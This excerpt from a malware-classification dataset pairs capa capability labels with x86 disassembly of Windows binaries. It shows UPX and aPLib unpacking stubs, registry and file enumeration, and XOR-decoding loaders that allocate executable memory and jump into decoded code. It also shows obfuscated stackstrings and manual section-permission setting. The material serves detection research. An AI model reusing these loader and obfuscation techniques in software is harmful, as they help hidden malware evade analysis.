joyce8/EMBER2024-capa huggingface dataset:
Function at 0x473760
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x43000]
push edi
jmp 0x47377a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x473781
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x473770
mov eax, 1
add ebx, ebx
jne 0x473793
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4737a4
jne 0x4737c3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4737c3
dec eax
add ebx, ebx
jne 0x4737b0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x473788
add ebx, ebx
jne 0x4737bf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x473815
xor ecx, ecx
sub eax, 3
jb 0x4737db
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x47384a
sar eax, 1
mov ebp, eax
jmp 0x4737e6
add ebx, ebx
jne 0x4737e6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4737b4
inc ecx
add ebx, ebx
jne 0x4737f4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4737b4
add ebx, ebx
jne 0x473801
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4737f6
jne 0x473812
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4737f6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x473834
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x473826
jmp 0x473776
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x473834
add edi, ecx
jmp 0x473776
pop esi
mov edi, esi
mov ecx, 0x2bb6
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x473852
cmp byte [edi], 0x12
jne 0x473852
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x473857
lea edi, [esi + 0x70000]
mov eax, dword [edi]
or eax, eax
je 0x4738cf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x749c4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x74a8c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x473884
mov ecx, edi
jns 0x4738b3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x74a90]
or eax, eax
je 0x4738c9
mov dword [ebx], eax
add ebx, 4
jmp 0x4738a1
call dword [esi + 0x74aa0]
mov ebp, dword [esi + 0x74a94]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x473903
sub esp, 0xffffff80
jmp 0x42fd5f
Function at 0x10e84d0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.010e8620
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x10e84f6
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10e84e2
add dl, dl
jne 0x10e8501
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10e8554
xor eax, eax
add dl, dl
jne 0x10e850e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x10e85f5
add dl, dl
jne 0x10e851d
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10e8528
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10e8533
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10e853e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x10e854a
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x10e84ed
mov eax, 1
add dl, dl
jne 0x10e8562
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x10e856d
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10e8559
sub eax, ebx
mov ebx, 1
jne 0x10e85a0
mov ecx, 1
add dl, dl
jne 0x10e8586
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10e8591
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10e857d
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10e84ed
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x10e85b7
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10e85c2
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10e85ae
cmp eax, 0x7d00
jae 0x10e85e5
cmp eax, 0x500
jb 0x10e85e0
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10e84ed
cmp eax, 0x7f
ja 0x10e85e8
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10e84ed
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x10e8616
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x10e84ed
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x40377f
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x9c]
sub esp, 0x11c
mov eax, dword [0x420030]
xor eax, ebp
mov dword [ebp + 0x98], eax
mov eax, dword [ebp + 0xa4]
push ebx
push esi
push edi
mov edi, dword [sym.imp.advapi32.dll_RegEnumKeyA]
mov esi, 0x104
push esi
lea ecx, [ebp - 0x6c]
push ecx
xor ebx, ebx
mov dword [ebp - 0x80], eax
mov eax, dword [ebp + 0xa8]
push ebx
push eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], ebx
call edi
test eax, eax
jne 0x403822
mov eax, dword [ebp - 0x80]
push dword [eax + 8]
inc dword [ebp - 0x74]
lea eax, [ebp - 0x6c]
push eax
call fcn.00410bf3
pop ecx
pop ecx
test eax, eax
je 0x40380b
test ebx, ebx
je 0x4037ff
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.00410bf3
pop ecx
pop ecx
test eax, eax
jle 0x40380b
push ebx
call fcn.0040473f
pop ecx
lea eax, [ebp - 0x6c]
push eax
call fcn.0040471e
pop ecx
mov ebx, eax
push esi
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x74]
push dword [ebp - 0x78]
call edi
test eax, eax
je 0x4037cc
xor edi, edi
cmp ebx, edi
jne 0x403826
xor eax, eax
jmp 0x403892
lea eax, [ebp - 0x70]
push eax
push 0x20019
push edi
push ebx
push dword [ebp - 0x78]
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
push ebx
test eax, eax
je 0x403855
call fcn.0040473f
pop ecx
cmp dword [ebp - 0x70], edi
je 0x403822
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
jmp 0x403822
call fcn.0040473f
pop ecx
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x6c]
push eax
push edi
push edi
push str.JavaHome
push dword [ebp - 0x70]
mov dword [ebp - 0x7c], esi
call dword [sym.imp.advapi32.dll_RegQueryValueExA]
test eax, eax
jne 0x403845
cmp dword [ebp - 0x70], edi
je 0x403888
push dword [ebp - 0x70]
call dword [sym.imp.advapi32.dll_RegCloseKey]
lea eax, [ebp - 0x6c]
push eax
call fcn.0040471e
pop ecx
mov ecx, dword [ebp + 0x98]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004088d9
add ebp, 0x9c
leave
ret
Function at 0x404934
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
lea ebp, [esp - 0x214]
sub esp, 0x294
mov eax, dword [0x420030]
xor eax, ebp
mov dword [ebp + 0x210], eax
mov eax, dword [ebp + 0x21c]
push ebx
push esi
push edi
push 0x10
pop edi
mov dword [ebp - 0x78], eax
call fcn.004047a1
push 8
mov esi, eax
call fcn.004046d7
mov ebx, eax
pop ecx
lea eax, [ebp + 0xd0]
push eax
push dword [ebp - 0x78]
mov dword [ebp - 0x80], ebx
call dword [sym.imp.kernel32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x40499f
mov dword [ebx], eax
lea eax, [ebp + 0xfc]
mov dword [ebx + 4], eax
mov edi, dword [ebx + 4]
test edi, edi
je 0x4049a6
and dword [ebx + 4], 0
jmp 0x4049bb
xor eax, eax
jmp 0x404a86
lea eax, [ebp - 0x70]
push eax
push dword [ebx]
call dword [sym.imp.kernel32.dll_FindNextFileA]
neg eax
sbb edi, edi
lea eax, [ebp - 0x44]
and edi, eax
test edi, edi
je 0x404a6c
push edi
call fcn.00408090
pop ecx
cmp eax, 4
jl 0x404992
add eax, edi
cmp byte [eax - 4], 0x2e
jne 0x404992
add eax, 0xfffffffd
push 0x4197b4
push eax
mov dword [ebp - 0x74], eax
call fcn.004088f0
pop ecx
pop ecx
test eax, eax
je 0x404a01
push 0x4197b0
push dword [ebp - 0x74]
call fcn.004088f0
pop ecx
pop ecx
test eax, eax
jne 0x404992
push 0x3b
push edi
call fcn.004097a0
pop ecx
pop ecx
test eax, eax
jne 0x404992
push dword [ebp - 0x78]
call fcn.00408090
push edi
mov ebx, eax
call fcn.00408090
mov dword [ebp - 0x74], eax
add eax, ebx
push eax
call fcn.004046d7
lea ecx, [ebx - 1]
push ecx
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], eax
push eax
call fcn.00410bf3
mov eax, dword [ebp - 0x74]
inc eax
push eax
push edi
mov edi, dword [ebp - 0x7c]
lea eax, [edi + ebx - 1]
push eax
call fcn.00410bf3
mov ecx, dword [esi + 4]
add esp, 0x24
inc ecx
call fcn.004047f7
mov eax, dword [esi + 4]
mov ecx, dword [esi]
mov ebx, dword [ebp - 0x80]
mov dword [ecx + eax*4], edi
inc dword [esi + 4]
jmp 0x404992
push dword [ebx]
call dword [sym.imp.kernel32.dll_FindClose]
push dword [ebx + 4]
call fcn.0040473f
push ebx
call fcn.0040473f
pop ecx
pop ecx
mov eax, esi
mov ecx, dword [ebp + 0x210]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004088d9
add ebp, 0x214
leave
ret

Function at 0x4088d9
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x420030]
jne 0x4088e3
repz ret
jmp fcn.00410778
Function at 0x410bf3
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x410c02
pop dword [ebp - 0x4c]
mov eax, 0xf55b5271
add eax, 0xae5b991
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xf8401187
add dword [ebp - 0x5c], 0x561233c4
mov dword [ebp - 0x58], 0xe5f37806
sub dword [ebp - 0x58], 0xb3c02bc1
mov dword [ebp - 0x54], 0x1906cd83
sub dword [ebp - 0x54], 0xccba8955
mov dword [ebp - 0x50], 0x62fb7332
sub dword [ebp - 0x50], 0x62fb7332
lea eax, [ebp - 0x5c]
push eax
mov eax, 0xf6ffcdf6
sub eax, 0xf6be4da6
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x8b84cb69
add dword [ebp - 0x5c], 0xe8ed9ded
mov dword [ebp - 0x58], 0x569e00ac
add dword [ebp - 0x58], 0xeace60c9
mov dword [ebp - 0x54], 0x52344be4
sub dword [ebp - 0x54], 0xeec4df78
mov dword [ebp - 0x50], 0x53cafd3
add dword [ebp - 0x50], 0xfac3502d
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0xedf2965b
sub eax, 0xedb1160f
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x3d73a
push 0
call eax
mov ecx, 0x999513db
sub ecx, 0x9994c3c3
xor edi, edi
add edi, eax
mov ebx, 0x42e800
add ebx, dword [ebp - 0x4c]
mov esi, 0xbe216d54
add dword [ebp - 8], 0xcf1d3d5b
mov edx, dword [ebx]
sub dword [ebp - 0x28], 0x4fae9183
add edx, esi
xor dword [ebp - 0x48], 0xa1b46431
mov dword [edi], edx
add dword [ebp - 0x28], 0xbd1da62d
add edi, 0x2f2ff660
sub edi, 0x2f2ff65c
add ebx, 0x8438fc13
sub ebx, 0x8438fc0f
loop 0x410d1a
add eax, 0x2aabc600
sub eax, 0x2aaa92cd
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x433cf0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x24000]
push edi
jmp 0x433d0a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x433d11
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x433d00
mov eax, 1
add ebx, ebx
jne 0x433d23
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x433d18
jne 0x433d34
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x433d18
xor ecx, ecx
sub eax, 3
jb 0x433d48
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x433dba
mov ebp, eax
add ebx, ebx
jne 0x433d53
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x433d60
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x433d84
inc ecx
add ebx, ebx
jne 0x433d70
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x433d65
jne 0x433d81
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x433d65
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x433da4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x433d95
jmp 0x433d06
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x433da4
add edi, ecx
jmp 0x433d06
pop esi
mov edi, esi
mov ecx, 0x106
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x433dc2
cmp byte [edi], 7
jne 0x433dc2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x433dc7
lea edi, [esi + 0x31000]
mov eax, dword [edi]
or eax, eax
je 0x433e36
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x33434]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x33484]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x433df4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x33488]
or eax, eax
je 0x433e30
mov dword [ebx], eax
add ebx, 4
jmp 0x433e11
call dword [esi + 0x33498]
mov ebp, dword [esi + 0x3348c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x433e6a
sub esp, 0xffffff80
jmp 0x401915
Function at 0x10047dd
Capabilities:
Set socket configuration

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
xor edi, edi
inc edi
push edi
mov esi, ecx
mov eax, dword [esi + 0x1074]
xor ebx, ebx
push ebx
lea ecx, [esi + 0x1028]
push ecx
push ebx
push edi
push eax
call dword [sym.imp.WS2_32.dll_WSASocketW]
cmp eax, 0xffffffff
mov dword [esi + 0x16fc], eax
jne 0x1004824
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
call fcn.0100db3a
pop ecx
jmp 0x10048c6
push edi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
lea eax, [ebp - 8]
push eax
push 0x8004667e
push dword [esi + 0x16fc]
mov dword [ebp - 8], edi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
cmp eax, 0xffffffff
jne 0x1004852
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x10048c6
push 4
lea eax, [ebp - 0xc]
push eax
mov dword [ebp - 4], ebx
push 0xffffff7f
mov ebx, 0xffff
push ebx
push dword [esi + 0x16fc]
mov dword [ebp - 0xc], edi
mov edi, dword [sym.imp.WS2_32.dll_setsockopt]
call edi
push dword [esi + 0x16fc]
call fcn.0100d64d
cmp eax, 0xffffffff
je 0x10048c0
push 4
lea eax, [ebp - 4]
push eax
push 0x1001
push ebx
push dword [esi + 0x16fc]
call edi
cmp eax, 0xffffffff
je 0x10048c0
push 4
lea eax, [ebp - 4]
push eax
push pe_nt_image_headers32
push ebx
push dword [esi + 0x16fc]
mov dword [ebp - 4], 1
call edi
cmp eax, 0xffffffff
jne 0x10048ca
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor al, al
jmp 0x10048cc
mov al, 1
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1004962
Capabilities:
Read file on windows

Disassembly:
mov edx, dword [ecx + 0x16c8]
push esi
lea esi, [ecx + 0x12b4]
push esi
mov eax, ecx
sub eax, edx
lea esi, [ecx + 0x16cc]
push esi
add eax, 0x16c8
push eax
push edx
push dword [ecx + 0x16fc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
pop esi
jne 0x10049bc
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
je 0x10049bc
cmp eax, 0x3e5
je 0x10049bc
cmp eax, 0x40
je 0x10049b9
push eax
push 0xc0000fb7
push 1
call fcn.0100d50f
xor al, al
ret
mov al, 1
ret
Function at 0x40ffd9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x40ffe8
pop dword [ebp - 0x14]
mov eax, 0xb64647be
add eax, 0x49fab82a
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x3efa0
push 0
mov eax, 0x7483de97
add eax, 0x8bbe7381
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x4c8d
xor ebx, ebx
add ebx, eax
mov edx, 0x3a83e597
add edx, 0xc5bf6e69
add edx, dword [ebp - 0x14]
mov edi, 0x4ce8c4b0
sub edi, 0x219cd139
xor dword [ebp - 0xc], 0xfa62c2b
mov esi, dword [edx]
mov dword [ebp - 0x10], 0x307d194a
xor esi, edi
xor dword [ebp - 0x10], ecx
mov dword [ebx], esi
add ebx, 4
add edx, 0x8f071799
sub edx, 0x8f071795
loop 0x410043
add eax, 0x12507
xor ebx, ebx
add ebx, eax
add eax, 0xc7fe592b
sub eax, 0xc7fe5926
mov ecx, 0x400000
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x411af8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
add al, 0x80
shl eax, 3
sub eax, dword [ebp + 0x10]
add eax, esi
mov dword [ebp - 0xb4], eax
mov dword [ebp - 8], eax
call fcn.004118de
mov eax, 0x66f0800b
mov eax, dword [edi + 6]
cmp ax, bx
jbe 0x411b38
lea ecx, [esi + 0xc]
movzx edx, ax
mov eax, dword [ecx + 4]
mov esi, dword [ecx]
add eax, esi
cmp dword [ebp - 8], eax
jae 0x411b32
mov dword [ebp - 8], eax
add ecx, 0x28
dec edx
jne 0x411b23
mov byte [ebp - 0x58], bl
mov byte [ebp - 0x57], bl
mov byte [ebp - 0x56], 0x58
mov byte [ebp - 0x55], bl
mov byte [ebp - 0x54], 0xe0
mov byte [ebp - 0x53], 0xc2
mov byte [ebp - 0x52], 0xd3
mov byte [ebp - 0x51], 0xf4
mov byte [ebp - 0x50], 0xde
mov byte [ebp - 0x4f], 0xd4
mov byte [ebp - 0x4e], 0xd3
mov byte [ebp - 0x4d], 0xc2
mov byte [ebp - 0x4c], 0xca
mov byte [ebp - 0x4b], 0xee
mov byte [ebp - 0x4a], 0xc9
mov byte [ebp - 0x49], 0xc1
mov byte [ebp - 0x48], 0xc8
mov byte [ebp - 0x47], 0xa7
call fcn.004118de
scasb al, byte es:[edi]
jle 0x411b7e
pop esp
std
invalid
out 0x8d, al
inc ebp
test al, 0x50
call fcn.004118ee
mov esi, dword [ebp + 0xc]
push eax
push esi
push dword [ebp + 8]
call fcn.004118a3
add esp, 0x10
lea ecx, [ebp - 0xb0]
push ecx
call eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xac]
xor edx, edx
div ecx
xor edx, edx
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 8]
div ecx
test edx, edx
je 0x411bcc
inc dword [ebp - 0x8c]
imul ecx, dword [ebp - 0x8c]
mov dword [ebp + 0xc], ecx
mov byte [ebp - 0x40], bl
mov byte [ebp - 0x3f], bl
mov byte [ebp - 0x3e], 0xec
mov byte [ebp - 0x3d], bl
mov byte [ebp - 0x3c], 0x45
mov byte [ebp - 0x3b], 0x7a
mov byte [ebp - 0x3a], 0x61
mov byte [ebp - 0x39], 0x67
mov byte [ebp - 0x38], 0x66
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x7f
mov byte [ebp - 0x35], 0x52
mov byte [ebp - 0x34], 0x7f
mov byte [ebp - 0x33], 0x7f
mov byte [ebp - 0x32], 0x7c
mov byte [ebp - 0x31], 0x70
mov byte [ebp - 0x30], 0x13
call fcn.004118de
jecxz 0x411bdc
pushfd
ror dword [ebp - 0x17af3fbb], 1
invalid

Function at 0x411cfe
Capabilities:
Contain obfuscated stackstrings

Disassembly:
pop ebp
aam 0x50
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.004118ee
push eax
push esi
push dword [ebp + 8]
call fcn.004118a3
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.004118de
or byte [eax - 0x62775a69], dh
jl 0x411d63
invalid
invalid
Function at 0x411fe4
Capabilities:
Inspect section memory permissions

Disassembly:
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x411fb5
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x411fd3
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x412031
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x412018
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x412021
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x41202b
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x41200d
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x411f97
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x41207e
dec eax
je 0x412075
sub eax, 3
je 0x41206c
mov dword [ebp - 4], 0x40
jmp 0x41209b
mov dword [ebp - 4], 4
jmp 0x412081
mov dword [ebp - 4], 0x20
jmp 0x412081
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x4120cd
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x41204d
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.004118de
stosb byte es:[edi], al
xor dword [ecx], ecx
jno 0x4120c1
push dword [ebp + 0x14]
jne 0x4120d8
push 1
push esi
call edi
mov eax, esi
jmp 0x4120d9
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
rcr byte [edi + 0x5e], 0x5b
pop edi
pop esi
pop ebx
leave
ret
Function at 0x412509
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x520], 0xa2
mov byte [ebp - 0x51f], 0x8f
mov byte [ebp - 0x51e], 0x8b
mov byte [ebp - 0x51d], 0x9a
mov byte [ebp - 0x51c], 0xac
mov byte [ebp - 0x51b], 0x98
mov byte [ebp - 0x51a], 0x8f
mov byte [ebp - 0x519], 0x8f
mov byte [ebp - 0x518], 0xea
lea eax, [ebp - 0x524]
push eax
call fcn.004118ee
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004118a3
add esp, 0xc
mov dword [ebp - 0x39c], eax
call fcn.004118de
cmp al, 0xb7
add byte [esi], bh
and byte [ebp - 0x514], 0
and byte [ebp - 0x513], 0
mov byte [ebp - 0x512], 0xe3
jecxz 0x41248b
movsd dword es:[edi], dword [esi]
out dx, eax
cli
invalid
inc dword [eax]
mov byte [ebp - 0x510], 0x5b
mov byte [ebp - 0x50f], 0x79
mov byte [ebp - 0x50e], 0x68
mov byte [ebp - 0x50d], 0x5a
mov byte [ebp - 0x50c], 0x75
mov byte [ebp - 0x50b], 0x70
mov byte [ebp - 0x50a], 0x79
mov byte [ebp - 0x509], 0x4f
mov byte [ebp - 0x508], 0x75
mov byte [ebp - 0x507], 0x66
mov byte [ebp - 0x506], 0x79
mov byte [ebp - 0x505], 0x1c
lea eax, [ebp - 0x514]
push eax
call fcn.004118ee
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004118a3
add esp, 0xc
mov dword [ebp - 0x33c], eax
call fcn.004118de
scasb al, byte es:[edi]
inc ebp
pop edi
jb 0x4125f9
jecxz 0x41248b
movsd dword es:[edi], dword [esi]
out dx, eax
cli
invalid
add al, 1
add byte [eax], al
lea eax, [ebp - 0x334]
push eax
push dword [ebp + 8]
call dword [ebp - 0x538]
mov dword [ebp - 0x398], eax
mov byte [ebp - 0x544], 1
invalid
invalid
invalid
cld